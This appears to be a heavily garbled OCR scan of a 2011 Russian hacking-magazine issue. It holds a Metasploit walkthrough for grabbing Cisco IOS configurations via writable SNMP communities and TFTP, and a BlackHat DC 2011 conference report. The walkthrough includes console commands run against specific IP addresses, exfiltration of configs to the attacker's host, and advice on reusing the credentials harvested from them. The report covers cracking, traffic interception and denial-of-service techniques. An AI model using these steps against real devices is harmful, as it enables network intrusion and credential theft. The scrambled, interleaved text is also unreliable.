ств ительны х сооб ществ маршрутизатора и опреде ляет, являются ли они только для чтения, или для чтения и за пи с и. В допол ­ нение к основ н ому модулю подб ора пароля к

5NMP , Metasp loit

те перь содержит модуль, который использует сообщества 5NMP,

доступные для записи, выгр узки/загрузки и запуска альтерна­ тивной конфи гурации устройства. Вот на этом и остановимся подробнее. Запускаем наш любимый

Metasploit Framework:

~ 061


IJ

Cisco ЮS SNMP COl1figuration Grabber (TFТP) sсаПl1ег/s пmр/сiSСОJ . . .

GJ(Q)[gJ

Cisco IOS SNMP Configuration Grabber (ТFТP) Rank: Normal

Descr:iption Tms modu1e WiII down1oad the startup or running configuration from а Cisco IOS device using SNМP and TFTP. А read-wrile SNМP communily is required. Тhe SNМP communily scanner modu1e can assist in identifying а read-wrile community. Тhe target must Ье аЫе 10 connect back (о the Metasploil system and the use of NAТ WiII cause the ТFTP l!ansfer 10 fai1 References:

Authors: PeIIO , hdm License: Мetasploit Framework license (ВSD) Yersion: 11516

Required RPORT

Тм

target port

COММUNITY SIIМ'

lpubic

Community strin9

RETRIES SNМP Retries

THREADS

Рис:

3

тhe

numbe, oi concurrent threads

Настраиваем конфиг

msf > msfrpcd -S -U msf

Посл ед ни е два п ротокола , которые хотел ось бы о б судить, это

123

Tel ne t

и 55 Н . Эти протоколы и обес п е чи вают д осту п к удал е н ной команд­ С н а ч а л а н аход и м с п омо щ ью

5N MP Co mmun ity 5са пп е г и мя rea d-

ной оболочке на целевом устройст ве п од управление м

Cisco 105

w r ite сооб щ ества !см. р ис. l ].

[как п равило , для непривиле гир ова нны х п ользова те л е й ]. Н аибол ее

Далее для вы г рузк и конфигура ции из го р я ч ей киски выбираем кон ­

заме тн ым о тличием о дн о го п рот окола от д ру г о г о являетс я то , что

фи г !с м. ри с 2].

55Н часто требует зна ни я уд а л енного име ни п ол ьзовател я и пароля ,

Д алее наст р аивае м T FТ P-cepBe p !см. ри с 3]. Ни какого NAT -

в то время как

с о об щ е нны й киске IP -а Ар ес, куда выгружать конфиг, долже н бы т ь

верк и п одли нн ост и п ользовател я.

бе л ы м .

модули подбо р а па р олей с и с п ользова ни ем эт и х пр отокол ов и буд ет

Te ln et об ы ч н о за п ра ш ивает только п ароль дл я п ро­ Me tas ploit Fram ewo rk содержит

И, с о бстве нн о , п ол у ч ае м сам файл ко н фигура ции !см . р ис 4].

авто м атически создавать инт е р акт и вные сессии д о т ех п ор, п ока

То же самое м ож н о проделать с ис п ользование м

подходя щий п а р оль не буд ет н а йд е н . В ц елом

и

Metasploit Express

Metasp loit Р го - о н и и с п ользуют оба эти модул я для автомати ­

ч еско го захв ата ф айл а ко нф игура ц ии уязвимых устройств с

Cisco

105. В о вр е м я ска н и р ова н ия подбо р паролей к 5N М Р - сооб щества м

Me tasplo it Exp ress и

Metasploit Рго всегд а и мели н а борту гото в ые м одул и тести рова н ия сетевых устройст в через

Te l ne t- и 55 Н - пр отокол ы , н о в п оследн ей

верс и и стало возмож ны м У1с п ол ьзовать с п исок н аиболее часто

за п ус кается в фо н овом р ежи м е с неболь ш и м с п иском сл ов из об ще­

и спользуемых п аролей , составл е нный наши м и ана л и ти ка м и. В

го слова ря . Есл и л юбо й и з этих п а р ол ей работает, и есл и хотя б ы

само м н ачале с п иска слов пр иве д е ны н еобыч ны е п а р ол и. В цело м

одн о сооб щество об н а руже н о как за пи сываемое , тогда

Metasploit Р го

под бо р по сл оварю о ч е н ь э ф фект ивен , есл и в качестве п а р оля дл я

н астро ит л ока льн ую сл ужбу T FТP и скачает фа й л конфигура ци и это го

досту п а к уст ройству бы л о ис пол ьзова н о р еа л ь н о су щ ествую щ ее

устр ойства. Пр отокол

слово. Н е углуб л яясь сли ш ком да л еко , я могу сказа т ь , что некотор ы е

5N MP те п е р ь также и нте гр ирова н в средства

и нтелл ектуал ь ного п од бора паролей , ко мп о н ент котор ы х ис п ол ьзует

провайдеры ч асто и с п ол ьзу ют оди н и тот же п а р оль для н астройк и

с п исок н а и более п о п ул яр н ых имен сооб щ еств в до п олн е н ие к дин а ­

або н ентского оборуд ова н ия.

ми ч ески ге н е р ируе м ым п ароля м . Этот с п исок п олу ч е н в результате

Посл е то го , как был п одо б ра н па р оль и уста но вл е н а р або ч ая сесс и я

исслед овате л ьс ко го пр оекта п о изуче н ию п а р ол ей веб -ф о р м и вст р о­

через

е нн ых фа й лов ко н ф и гура ц ии. Так , пр оа н ал и зи р овав результат ы, м ы

авто м а ти чес ко го сбо р а и н фо р ма ц ии, вкл юче нн а я в

о пр е д е ли л и, какие парол и ч а щ е все го используются , в том ч и сле для

Express и Metas ploit Рго , авто м ати ч еск и с читает и н фо рм ац ию о

5 NМ Р-сооб щест в. Результаты это го п роекта были удивител ь н ы: н аи­

верси и

более ш и р око ис п ол ьзуются п арол и

п ол у ч ить пароль к д оступу «е п а Ы е» п утем п е р ебора п о с пи ску н аи ­

«publicfa E50»

и

«privatefa E50»,

как это о пи са н о в п римере конфигу р а ц и и в докуме нта ц и и

~

062

Cisco.

Te ln et- или 55 Н - пр отоколы устройст в а Cisco 105, фу нкц ия

105

Metasp loit

и список акти вных пол ьзова телей , а з атем п о п ытается

б ол ее рас пр остр а н е нн ых пар олей. Е с л и по пыт ка под об р а т ь п а р ол ь

ХАКЕР

0 4/ 147 / 2011


<

Ilеtaзр10i t

>

'-' (00) _ _ (-)

)\

11--11 •

,.зf

,.еt"зр10it

v3.6.0-dev [cote:3 . 6 "pi:1.0] - 328 auxilia,y --=[ 216 рау108dз - 27 еnсоdetз - 8 nорз =[ .vn <11749 upd"ted today (2011.02.14) =[

+ -+ --

- - =[ 644

>

uзе

ехр10itз

8uxiliаtу / зсannet / зmaр / сiзсо_соnf1с;,-tftр

8ux1lia,y(c1.co_confi!,-tftp) > зеt CHOST 85.113.43 .22 Ilзf 8uxili8,y(c1.co_confiq_tftp) > зеt CPORT 69 ,.зf 8uxili8ty(ci.co_confic;,-tftp) > .ес 01ЛРUТDIR D:\ CPORT => 69 01ЛРUТDIR => D: \ Il'! 8UXi118ty(Ci'CO_COnfig_ tftp) > .ес RНOSTS 80 . 76.128 . 90 Ilзf 8uxili",y(c1.co_config_tftp) > exp10i t RНOSТS -> 80.76.128.90 ['] St8ttinq Trrp зetvet .• . ['] Scanning fot vu1ne,ab1e t8'qet•. . . ['] T'ying со 8cquire cOnfigu'8t10n f,o,. 80 . 76 . 128.90 •• • ['] Scanned 1 о! 1 hозtз (100% со,.р1есе) [ ' ] Ptovidinq .о,.е ti,.. fo, t,sn.fe .. со со,.р1есе .. . ['] Shuttinq dovn сЬе Trrp зetviсе ... ['] Auxiliaty ,.odu1e execution co_p1eted Ilзf

4 Получаем

РиС:

результат

«епаЫе» увенчается успехом, то автоматически.:гы п олучишь до п ол ­

менить парол и. взятые из маршрутизаторов

нительную информацию о системе, в том числе о те ку ще й конфигу­

интрасети или использовать их для получения доступа к множеству

рации устройства.

других сетевых устройств .

В исследованиях, перечисленных выше, нет ничего н ового. Новым является лишь простота ис пользования продуктов

Me tasplo it и их

с п особ н ость по цепочке автоматически ском пром етировать уяз­ вимые устройства. П о большому счету, эт и тесты являются лишь

Cisco. для входа на сай т

Переполнение буmеоа

~aM8rH~~r~~g~~~~~~C~otorola

ориентиром для дальнейшего развития исследований безопасности

Исследовательская гр уппа по проблемам бе зопасност и

сетевых устройств. И есть еще одна вещь, о которой я не у помя -

когда -то давн о соз дала программу с кодом командного интер­

Pheno el it

нул до сих пор. Что же мы будем делать с пол ученными файлами

претатора для проведения удале нной атаки на ма ршрутизатор

конфигура ци и Cisco 105 после того, как мы их п олучим в проце ссе

Cisco 1600 на основе процессора Motorola 68360 QUICC Inpo-

тестирования сетевых устройств? Эти файлы содержат рабочие

грамма была пред ставлена на азиатской ко нференции

конфигурации устройств, включающие в себя VТV-пароли, паро-

аж в 2002 roAyl.

ли « епаЫе», ключи

Дл я этой атаки в векторе вторжения используется переполнение

к

VPN, 55L-сертификаты и параметры доступа

Wi-Fi. Metasploit будет автоматически обрабатывать эти файлы

буфера в операционной системе

Bla ck hat

105 от Cisco и несколько новы х

конфигурации , чтобы выбрать из них конфиденциальные данные и

методов использ ова ния структур у правления кучей в

сохра нить их как данные аутентификации.

структу ры кучи. можно внедрить и ис п ол н ить вредоносный код. В

105. Изменяя

Metasploit Express и Metasploit Рго могут автоматически исполь- '

опубли кованном варианте атаки код коман дного интерпретатора

з овать полномочия, полученные и з файлов конфигура ции . чтобы

представляет собой созданный вручную код в виде машинных

пол у чить доступ к другим устройствам этой же сети. Если доступ

команд

был получен к одному из устройств

заторе . Этим кодом можно воспользоваться при наличии любого

ства

Cisco чере з слабые сообще­

5NMP. и было обнаружено . что VТV- пароль - «cisco rules l ».

то ты можешь использовать пр офиль подбора паролей

«known-

Motorola .

который от крывает потайной ход на маршрути­

переполнения буфера в устройствах Cisco Iб олее подробная инфор ­ мация об этой атаке доступна по адресу ghenoel lt.del . И теперь ты.

only» для того. чтобы с помощью любого протокола автоматически

как на стоящий гуру устрой ств

попробовать этот пароль в отношении любого другого устройства

шелл-код в свою коллекцию

Cisco. можешь сме ло по местить этот Metasploit Fram ework для последую­

в той же самой сети. После того . как ты получишь доступ к другим

щих экспериментов по удаленному переполнению буфера и его

устройствам. конфигурационные файлы будут пол у ч е ны на твой

запуска на удал ен ном устройстве. Но это уже будет совсем другая

компьюте р и запустится проц есс их анализа. Ты може ш ь легко при-

и сто рия. .

ХАКЕР

04 /147/ 2011

::х:

~ 06з


К сожалению, это произошло не в Лас-Вегасе, а всего лишь в

тренинги по безопас н ости от лучших мировых спецов. Тренинги

Вашингтоне , но , тем не менее , это все-таки

действительно грамотные

BlackHat. Хоть и не

-

например, пользованию тем же мета­

совсем тот, но, надеюсь, все впереди.

сплойтом обучают авторы метасплоЙта. Собственно, аналогичная

Честно говоря, с самого начала я был немного удивлен и ожидал

ситуация и в других областях. Тренинг на

чего-то большего. Традиционно

круто. Правда, цены кусаются [$3500 за курс], но если при кинуть

BlackHat, который проводится

BlackHat -

это очень

в Вашингтоне, ориентирован на представителей американских

объем данных и количество времени, которое придется потратить

военных ведомств и государственных учреждений, которым,

на самостоятельное изучение того же материала, то и цены начи­

ви дим о, не по статусу куда- т о далеко уезжать из своего города.

нают казаться вполне адекватными. Тем не менее , стоит отметить,

В этом есть и свои плюс ы

что ничего кардиналь н о нового в плане неопубликованных мето­

- на ланче мож н о обменяться в и зит­

ками с каким- ниб удь директором п о безо п асности федерального

дик на тренинге ты не услышишь [в отл и чие от докладов ], за то

резервного банка Н ью- Й орка , а твои доклады ус лышат Rеsропsе

все разложа т по п о л очкам и помогут на практике отра ботать весь

Теат Orac le, которым п отом буд е шь рассказывать, что у них

материал. Трен и н г и, как мне кажется, очень полезны, если тебе

не так с безопасностью. В общем, народу не десять тысяч, как

необходимо в кратчайшие сроки изучить какую -ни будь неизведан­

в Вегасе , но зато все пришедшие ориентированы на доклады,

ную ранее область

а не на тусовку. )Обычно программа конференции заключается

Зови или

в следующем. Сперва в течение двух-четырех дней проводятся

на тему

~

064

- к примеру, «Мае Насkiпg Class» от Дино Дай

«RFID, Access

Сопtгоl

& Biometric Systems».

А тренинг

Pentesting With backtrack в этот раз вел мой друг Вал Смит ХАКЕР

04/147/2011


Pyrit petjorming оп various p/atjorms • Computed PMKs рег second

~~"""-/I"~'''''''-/I''~'''' i-.................. .,.......~~....-.. I

rooo

4.r.trcп,"!CТX I0JtlA! ".

o.Tts,, ( I09O (o.oA)

3.C.r~.M5Cn: (CI.OA) ~. . . . . . . . . . . . . . . . . .. ,. ..

Набор ДЛЯ пpocлywки из компании

GPRS и

ЕООЕ сетей

Attack Research, с которым мы , собственно , делали

совместный доклад на

BlackHat. Его тренин г назывался «Tactica l

Exploitation» и описывал методики проведения тестов на проникно­

Сравнение скоростей

GPU и CPU

вение без использования программных уязвимостей, сосредоточив­ шись на архитектурных багах и со циа льной инженери и. В общем,

начале этого года

рассказывал он о том, на что долже н быть похож настоящий пентест

Томас Рот, ему всего девятнадцать лет Вообще меня слегка удивил

[в отличие от того, что сейчас предлагают на рынке в виде запуска

средний возраст участников: когда я вернулся, меня кто-то спро­

- это самый молодой участник конференции,

метасплоЙта l .

сил : «Ну что? Ты там был самым молодым?». Если бы .. На самом

В целом в Вашингтоне в этот раз было совсем немного тренингов ,

деле , большинству докладчиков меньше двадцати пяти ле т : Исааку

зато появились воркшопы

-

нечто среднее между докладом и тре ­

Аврааму

- двадцать три, Мариано Нунезу - двадцать пять, Ральфу­

нингом. Воркшоп обычно р ассчитан на два-три часа и представляет

Вильяму тоже не больше , о н вообще студе н т Да и остальные не

собой некую демоверсию тренинга: то, что не уместится в рамки

намно г о старше, хотя , конечно, и старые аксакалы попадались.

доклада , но и на полноценный курс не тянет.

Итак , возвращаемся к докладу Томаса Рота, в просторечье -

По времени тренинги идут парал лельно основным секциям докла­

«Джастина Бибера». Если бы ТЫ только з нал, как этот парнишка

дов , что ставит нелег кую проблем у выбора. Всего на конфере нции

похож на Джастина l Половина докладчиков только это и обсуждала.

было чет ыре параллельных секции: по две на доклад ы и воркшопы,

Парень был реально звездой мероприятия. Еще бы, выступить на

поэтому каждый раз приходило сь решать, кого же отправиться слу­

Блекхат в девятнадцать лет, да еще и быть копией популярного

шать [или вообще остаться пообщаться с людьми в холлеl. На всех

певца. Или может это скрытая вторая жизнь, кто знает ..

предыдущих ко н ференциях , где я выступал, было по две параллель ­

В общем , ты наверняка слышал недавнюю шумиху на тему то го, что

ных секции, что гораздо удобнее. Впрочем, на BlackHat Las-Vegas

некий и сследова тель взломал

их вообще по восемь-десять , так что не все так плохо. Глав н ое, что

ния. Так вот

WPA2, использ уя облачные вычисле­

- это было про него. Правда, журналисты как всегда

есть из чего выбирать. Собственно, воркшо п ы в этот раз был и сле­

все переиначили, и смысл события был отнюдь не в

дующие:

теперь вспомнит... Кстати, все те, кто писал про пресс-релиз это го пар ня гнусные комментарии на форумах

WPA, но кто уж

- знайте , он тут не при­

• Cyber-attacks to SAP platforms : The InsicJer Threat -

чем. Пар е н ь действительно толковый, и никому он не доказывал,

от моего аргентинского коллеги;

что взломал

• Peach Fuzzing

• Hardware Reverse Engineering :

Ассе55,

Analyze and

• How to Hack Large Companies and Make Millions; Мас

на графических процессорах, используя серв и сы

Amazon. Начнем

с банального сравнения - перебор паролей на четырехъядерном

Defeat; • The

WPA2. Смысл доклада - показать, как просто сейчас

каждый может организовать распределенный перебор паролей

от Майкла Эдцингтона;

Exploi t Kitchen

от Винченцо Иоццо и Дино

Соге i7 происходит примерно в двадцать пять раз медленнее, чем на кластере из четырех карт GeForce 295 GTX. А вот конфигурация стандартной GРU-ячейки в облаке Amazo n:

Дай Зови.

В общем, все достой н ы , но посетил я , естестве н но , первый , хотя

22GB RAM

практ ически ничего нового там не уз н ал. Наверное, стоило бы

2

х

Intel

сходить на Дино Дай Зови, но жалко было пропускать целых три

2

х

NVIDIA Tesla " Fermi"

доклада .

$2.10/час

Хеоп Х5570 М2050

Также на конференции была выставка вендоров , где были пред ­ ставлены стенды таких компаний, как

Rapid7, Nessus, IOActive,

В результате за $16 в час, используя восемь GРU-и н стансов, мы

CoreSecurity и прочих. Там , кстати, мож н о было получить в подарок

получаем скорость

футболку Metasploit или Nessus [правда , они были рассчитаны на

ду, что в несколько тысяч раз больше, чем на ре. Софти н у, которая

400000

РМК [подбор ключей дЛ Я WPAI в секун­

американцев, и размеров меньше XL не было в при н ципеl. На стен­

позволяет реализовывать зти действия , Томас обещал выложить в

дах в том числе выставлялась HBGarгy, которая недавно неслабо

свободный доступ, но пока с эти м возникли проблемы из-за немец­

облажалась, попытавшись разобраться с ано ни мусами. Вообще ,

ких законов. В общем-то , нап и сать ее самому не такое уж и сложное

Зi)метно невооруженным взглядом, что ос н овная масса ве н доров

дело, но парнишка все равно молодецl

направлена на Fогепsiсs-софт. Это новый зарубежный тренд, да и

Любителям докладов похардкорнее могу предложить еще два

до на с уже добирается.

выступления: первое от Винченцо Иоццо и Джованни Гола

- «Stale

роiп t егs аге the new black» [пр о то, как искать уязви мости класса

Доклады

dangling pointers, double frees и unin itial ized memoгyl, второй -

Но перейдем наконец к докладам. Основное событие , ради чего

доклад Тарьея Мандта «Kernel Pool Ехрlо i tаtiоп оп Windows 7» [тут

существует BlackHat, и о чем потом месяц треплется пресса по

все понятно из названияl. Но об этом з н ающие люд и напишут под­

всему миру. Как раз об одном и з докладчиков писали все СМИ в

робнее, а я перейду к другим докладам.

ХАКЕР

04 / 14 7/ 20 11


SoшpIoV_

Tie'1

ТitrП

SAP

Epicor

ABAS

Oracle Orade eBusiness Suile

Sag.

Activanl Solutioos 'пс. . Bowen and GfO\'eS Complere

Infor

o..d.JDEdw>пIs

IFS

Orade Peoplesofl

QAD Lawson СОС 50!""""

Misroso(t Dynamics

ТitrШI

Е"""

NetSuite VisiЬШty

CGS Нansa

World

Consona Syspro

• Big list of customeгs Справа Джеф Мосс

-

организатор мероприятия

http://www.oracle.com /customers/cust Jist_atoz.htm l

Мобильный беспредел Рассмотрим доклады , которые я объединил в актуальную на дан­

~!:"R AP ID7

График популярности бизнес-приложений

ный момент тему безопасности мобильных устройств, протоколов и операционных систем. На чнем с модной нынче темы мобильной

Соответственно, мечта многих

безопасности. К слову, если у тебя есть мысли по поводу исследо­

признался, что обойти он его не смог, но вот различный инструмен­

ваний в этой области, то я тебе гарантирую

тарий для упрощения дальнейшего анализа представил в избытке.

- тема перспективная и

еще себя покажет. Как, впрочем, и тема бизнес-приложений, о чем

- обойти этот механизм. Дионис

Так что, если есть желающие повторить путь Алексея и продолжить

будет сказано в конце статьи.

новое исследование Диониса

Если посмотреть на статистику докладов по различным операци­

фолловерам в твиттере прилагаются.

онным системам , да и вообще на интерес к ним, то явно видно, что

Теперь переходим от софтверной части к более железной и рас­

Linux сейчас как-то не в моде, да и винда уже давно сдает позиции,

смотрим доклад Давида Переса и Жозе Пико п од названием

а вот Мас

«А practical attack aga in st GPRS/EDGE/UMTS/HSPA mobile data

OS, Andro id, BlackBerгy - набирают поп улярность. В юзер­

- впередl Мировая слава и +500 к

ском сегме нте мобильные ОС точно со временем вытолкнут винду и

communications». Одна из тем, о которой кто-то в ко нце концов

линукс , так что , господа троянописатели, меняйте профиль.

должен был рассказать. И вот оно, собственно, свершилось

Итак, хватит лирики, приступим к делу. В докладе

того, как всем уже стало понятно, что GSМ-трафик легко прослу­

"Popping Shell оп

- после

A[ndroidlRM Devices» молодой израильский исследователь Исаак

шивается [Practical Cellphone Spying. Chris Paget. DEF CON 18 July

Авраам рассказал подробности написания шелл-кода под андройд

20101. То есть, цена девайсов упала до сотен долларов, ПО для

и АRМ-железо [эх, зря я в универе прогуливал лабы по микрокон­

симуляции базовой станции [OpenBTSI и проведения атак с ложной

троллерамl. Итак, на черном рынке эксплойт под Webkit [движок

точкой доступа стало доступно всем, а исследователи перевели

браузера, используемый в Google Chromel стоит

взгляд на более актуальные протоколы мобильной связи.

$35000-39000, и это

клиентская часть, то ест ь эксплуатация требует какого-то действия

Итак, для перехвата

от пользователя. Уязвимост ь через

nanoBTS - профессиональная базовая станция с IP-интерфеЙсом.

SMS

или GSМ-трафик будет

стоить гораздо больше. Это было коммерческое обоснование про­

GPRS-

и ЕDGЕ-трафика понадобится

ip.access

А также набор различного открытого софта, который ты можешь

деланной им работы, а сделал он следующее: напи сал экс плойт

найти на слайдах , и Cellphone Jamme r [по -русски -

под уязвимость, обнаруженную им же в андроиде. В общем, стан­

для диапазонов UMTS/HSPAI. Собственно, в описанной атаке нет

глушилка

дартная техника RЕТ2LIВС на АRМ-процессорах не работает, ибо

ничего необычного, теории тут немного, главная проблема

там другая архитектура, и он выдумал три новых методики [о них ты

софт И железо. Сперва атакующий пытается подобраться как можно

- это

сможешь прочесть , скачав слайдыl, а потом успешно применил их

ближе к жертве. Затем прослушивает канал и устанавливает свою

к найденной им

ложную ВТS-станцию со всеми данными в обнаруженной свободной

O-day уязвимости в webkit , показав ее на Motorola

Droid. Но не тут-то было. П о умолчанию пользователь имеет лимити­

ячейке. Дальше остается лишь убедиться в том, что канал связи с

рованные права в системе, и после получения шелла надо, так или

интернетом налажен, и спокойно дожидаться, когда жертва пере­

иначе , повысить привилегии . Один из вариантов

подключится к твоей станции. П осле чего, используя ноутбук и софт

-

это бесконеч­

н ые п опытки вызова прило жения, пока пользователь не устанет

на ж и мать

«cancel» и не согласи тся е го запуст ить. Другой вариант

использует методы со ц иальной инженерии

-

это модификация тек­

ста о попытке за п уска неразрешенного приложения. В общем, полу­ чилось довольно круто, а самое поразительное

-

это уязвимость,

по перехвату пакетов, можно творить любые атак и.

В том числе было показано, как подменят ь трафик для iPhone/iPadприложений и перехватывать пароли от мобильных банк-клиентов. Аналогично можно красть и одноразовые пароли, передаваемые по

SMS,

что сейчас считается самым безопасным способом. Также

которую он обнаружил. Я до сих пор в шоке, как такое возможно в

докладчик продемонстрировал, что

нашем веке

телефон подцерживает более ранние протоколы, так как можно

-

оставить багу в URL-строке, которая находится про­

стейшим фазеромl

UMTS тоже не безопасен, если

сперва включить UМТS-глушилку, заставив телефон перейти на

Продолжаем мобильную тему и переходим к докладу Диони 'са

использование

Блазакиса

Чтобы окончательно добить тебя темой безопасности мобильных

«The Apple Sandbox». Этот исследователь уже наделал

много шума год назад, рассказав про новый метод атак

Jit-Spray,

GSM , а потом вернуться к первому пункту.

устройств, расскажу про доклад Ральфа-Филиппа Вейнмана из

идею которого развил Алексей Синцов. На этот раз Дионис сделал

университета Люксембурга. Доклад называется

доклад в том же сти ле общих слов. П равда, если в прошлом году он

Apocalypse» -

выдал идею, но не п редставил реализацию, то в э том го ду ОН про сто

никах. Как только исследователи получили в руки софтверный

рассказал, что такое Apple Sandbox [XNU Sandboxl и как она устрое­

инструмент для отправки па кетов по GSМ-протоколу, то стало воз­

на, чтобы помочь ресечерам в попытках найти уязвимость в этой

можным проводить атаки на драйвера GSМ-модуля , используемого

системе. Разговор идет о так называемой песочнице

Apple, в кото­

в телефонных аппаратах. Ровно такая же история произошла лет

рой с ограниченными правами запускается браузер и приложения,

пять назад, когда было обнаружено первое переполнение буфера

не входящие в группу доверенных.

в драйверах

~

066

«The Baseband

он тоже наделал немало шумихи в новостны х источ­

Wi-Fi устройств, правда там оно нашлось фаззингом. ХАКЕР

04/147/20 1 1


Security Is Not "VisibIe" Will home users Ье аЫе to tell which опе is more secure?

Пример грамотной презентации от слайд

Symantec,

#1

драйверо в . Преим ущество атак на драйвера , помимо всего прочего,

US$28,724

US$99.999

Здесь же исследователь решил пойти путем реверс-инжиниринга

Rosponslblllty for the H.rm .0<1 Rlsk 01 S.<u~tyF I .ws

заключается в том, что они никак не защищены. Н ет защи ты кучи,

Пример грамотной презентации от

нет ASLR , нет NХ-бита [за исключением чипсета Infineon ХММ6180,

слайд

Symantec,

#2

используемого в IPhone 4). В общем, после тщательного реверсинга докладчик нашел немало багов в прошивках продемонстрировав удаленные атаки на

Qualcomm и Infineon ,

iPhone и НТС Dгеат. Во

BlackHat не проходила без доклада пр о XSS. На этот раз вызвались ребята из

Trustwave. Пару слов хочу сказа ть о ком п а нии Trustwave

время доклада , как это зачастую и бывает, атака не сработала, но

и их исследовательском подра зделе нии

позже в кулуарах желающие смогли убедит ь ся в ее реальности.

парни выступают практически на каждой конференции, н о, к сожа­

А главное заключается в том, что если запустить такую ложную

лению, я ни разу не видел от них ничего стоящего. Либо баяны,

базову ю станцию в месте массового скопления людей и посылать

либо попытка рассказать о совершенно новой области. но ограни­

пакеты с эксплойтами, то можно заполучить доступ к немалому

ченная только теоретическими описаниями возможных угроз. Тем

количеству мобильных устройств. Ну или перепр ошить их так, что

они превратя тся в кирпичи

:!.

Spider Labs. Вообще эт и

не менее, сами люди п о общению классные. Вот и на этот раз, ч его только стоил доклад с громким н азванием

« Hacki ng the Fa st Lane:

Кстати, все доклады на блекхате со про вождаются вайтпейперами

security issues with 802.11 р, DSRC and wave»

[докуме нтами, подробно описывающими то, что представлено в

показать различные атаки на новые протоколы. В итоге все выли­

где предполагалось

презентации). Зачастую презентация состоит из н абора картинок и

лось в описание теоретических основ всех упомянутых сокращений

малопонят н ых слов [пр едполагается, что основную часть доклад­

и одного слайда о том. что там могут быть те же атаки , что и в дру­

чик буд ет произносить вслух), так что для пол н ого понимания сути

гих протоколах: все м бояться. Что касается веб-те мы, то ребята из

доклада рекомендуется читать ваЙтпепер.

Trustwave в докладе «XSS: Street Fight» по сути описа ли сборн и к довольно известных методик по защите от XSS-атак на примере

того. как это работает в Mod Security [автор доклада является одним

Вайлд, вайлд веб

из разработчиков данного творения). В прошлом году уже был

Теперь п орадую немного фанатов веба. Кто еще не слышал про

доклад

модный

ребята решили рассказать, как же можно за щити ться от все го это го,

Layer7 DOS?

Тогда мы ид ем к вам. На седьмом уровне

модели оси у нас расположены такие протоколы, как HTTP[S), SM TP,

FTP. Вот про а таки на отказ в обслуживании на эти протоколы и шла речь. В

2009

году Вонг Онн Чи рассказал про атаки на отказ

в обслуживании через

PO ST -запросы , что гора здо интереснее. К

«Our fa vo rit e XSS filters and how to bypass them» -

и какие методы защиты реализованы в

видимо,

Mod Security.

Бизнес-приложения

тренд

-

новый

слову сказат ь , ни Майкрософт, ни Апач вначале даже за уязв имость

Про один тренд

это не посчитали

ознакомиться с еще од ним . Это критичные бизнес-приложения

работает? Поле

-

типа это пр осто фишка такая. Так как же это

«C ontent-Length » в НТТР-заголовке сообщает сер­

веру, какова длина пакета. К примеру,

«Content-Length = 1000».

случае, если написать, что длина пакета =

1000,

В

а отправить только

уровня

- мобильны е ОС и девайсы - ты уже понял. Пора

Enterprise,

которые являются ядром практически каждой

компании. Бизнес-приложения делятся на три типа :

• малого размера [MS Office и подобное);

1 бай т, то сервер будет ждать остатк ов, держа коннект от крытым и

• средн его размера [CRM, интер н ет-магази ны, у пр авле ние ч елове­

за р езерв ир овав в п амя т и место. Ну естестве нно

ческими ресурсами, гру ппова я работа и та к далее ) ;

как-то заботит ься о клиентах с медленным зом, если послать

20 000

-

ведь н уж н о же

KOHHeKToMI Таким обра­

таких запросов с рандомной длиной с раз ­

личных IP -аАресов, то сервер просто не сможет обслуживать новые

• enterprise размера [ERP , ВРМ, PLM и прочее). Вот об епtегргisе-УРовне речь и пойдет. Одним из примеров

ERP-

системы [Enterp ri se Resource Planni ng - Система у правления ресур ­

запросы, и произойдет отказ в обслуживании. Для демонстрации

сами пр ед при ятия) является SAP. Это наиболее кру пный п оставщик

это го исследователи выпустили тулзу owasp .org/index .php!OWASP

данных р еше ни й во всем мире. Что касается России, то у на с есть

НТТР

своя

Post Tool. С ее п омощью любой школьник сможет DDОS'ит ь

ERP - 1С :Пр едпр иятие . Только если 1С используется в малом

неугодный ему сервер [привет скриптки дди, если т ы дочитал до

и среднем бизнесе, то

этого момента - тебе крупно повезло). Самое интересное, что пока

работают сотни или даже ты ся чи клиентов. В эту область до недав­

не придумано адекватных мер для защиты и обнаруже ни я тако го

него времени исследователи практически не лезли. Все начал ось

SAP используют компании, где в системе

рода атак, хотя некоторые идеи были озву ч ены в докладе.

приблизительно в

Переходим от нападения к за щите. Еще ни одна к о нф ере нция

докладов п о техн иче ск им вопросам безо па с н ости

ХАКЕР 04/147/2011

2006 году. когда был представлен один из первых SAP. В 2007 году


Кто бы мог подумать, что это один из авторов

Стена славы

Metasploit -

egyp7

Мариано Нунез ITorAa еще сотрудник компании Cybsecl рассказал

бизнес компании будет попросту

на конференции

остановлен. Хороший при мер

BlackHat

про атаки на протокол

RFC,

используемые

в 5АР. С тех пор я также начал заниматься этой темой и с

2009

года

такой баги , который мы нашли

выступаю на конференциях именно по ней. К слову сказать, если

во время анализа безопасности

в

одного бизнес-приложения ,

2007-2008

году про безопасность 5АР было всего пара докла­

дов в год, ТО в

201 О

их было аж двенадцаты  В

20 11 году,

уверяю,

-

обход аутентификации в СУБД

будет не меньше. Собственно, и на этот раз Мариано представил

OpenEdge. Бага заключается

новый доклад о том, как ломать web-интерфейсы SАР-систем через

в том, что когда пользователь

интернет. Самое обидное, что это была моя тема, и я даже посылал

вводит имя и пароль в клиент­

запрос с ней на одну из прошлых конференций

ское приложение, они теорети­

BlackHat,

но мне

тогда отказали. Видимо, сейчас организаторам эта тема показалась

И такое бывает

чески должны отправляться на

сервер I причем в виде хэшаl и

актуальной. Тем не менее, сам доклад Мариано на меня впечатле­ ния не произвел, так как все это и даже больше я бы мог рассказать

сравниваться там со значением, которое лежит в базе. Но не тут-то

сам IAa, я просто завидуюl. Самая грандиозная атака, представ­

было l На сервер отправляется запрос о попытке аутентификации,

ленная на его слайдах, заключалась в том, что МОЖНО обойти

а от сервера приходит хэш пароля , который на клиенте сравнива­

550-

аутентификацию, добавив секретный заголовок в НТТР-запрос. Но

ется с введенным. В общем, более эпического провала я не видел.

главное даже не в том , насколько она о п асна и проста, а в том, что

Вначале даже сложно было поверить в это. И это ТОЛЬКО один из

данная бага известна в узких кругах с

2006

года I Да и на офици­

альном сайте 5АР в разделе настроек

550 упоминается вскользь

примеров архитектурных уязвимостей в бизнес-приложениях, другие ты можешь почитать в моем докладе. Там же ищи инфор­

об этой проблеме, так что Мариано просто громко заявил о том, что

мацию о том, как проводить пентест бизнес-приложений, и в чем

было известно и ранее. Что ж

заключаются его особенности. Про бизнес-приложения также рас­

- тоже неплохо, ведь пока еще мало

кто понимает, что ЕRР-системы содержат массу уязвимостей.

сказал Крис Гейтс, с которым МЫ в прошлом году писали модули для

Теперь перейдем к моему докладу, в котором я осветил вопрос

Metasploit

безопасности ЕRР-систем, показав, как можно найти их в интер­

рону нового тренда и дополнил свой движок атаками на различные

нете при помощи gооglе-хакинга; как атаковать юзеров через

оракловые веб-приложения

